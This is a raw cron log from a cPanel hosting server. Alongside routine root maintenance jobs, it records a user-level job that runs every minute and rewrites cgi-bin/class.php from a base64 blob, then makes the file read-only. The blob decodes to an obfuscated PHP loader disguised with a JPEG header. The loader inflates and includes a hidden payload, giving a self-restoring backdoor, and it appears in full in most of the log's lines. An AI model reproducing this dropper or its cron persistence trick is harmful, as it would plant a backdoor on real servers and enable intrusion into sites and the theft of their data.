Sep  7 19:42:01 server CROND[22147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:43:01 server CROND[22624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:43:01 server CROND[22625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:43:01 server CROND[22626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:44:01 server CROND[23180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:44:01 server CROND[23181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:44:01 server CROND[23182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:45:01 server CROND[23573]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 19:45:01 server CROND[23574]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:45:01 server CROND[23577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:45:01 server CROND[23578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:45:01 server CROND[23588]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:45:01 server CROND[23576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:45:01 server CROND[23589]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 19:46:01 server CROND[24399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:46:01 server CROND[24400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:46:01 server CROND[24401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:47:01 server CROND[24797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:47:01 server CROND[24798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:47:01 server CROND[24799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:48:01 server CROND[25277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:48:01 server CROND[25278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:48:01 server CROND[25279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:49:01 server CROND[25657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:49:01 server CROND[25659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:49:01 server CROND[25658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:50:01 server CROND[26067]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 19:50:01 server CROND[26066]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 19:50:01 server CROND[26070]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 19:50:01 server CROND[26071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:50:01 server CROND[26069]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 19:50:01 server CROND[26073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:50:01 server CROND[26072]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 19:50:01 server CROND[26075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:50:01 server CROND[26068]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 19:51:01 server CROND[26931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:51:01 server CROND[26932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:51:01 server CROND[26934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:52:01 server CROND[27309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:52:01 server CROND[27310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:52:01 server CROND[27308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:53:01 server CROND[27675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:53:01 server CROND[27677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 19:53:01 server CROND[27678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 19:54:01 server CROND[28142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 19:54:01 server CROND[28143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
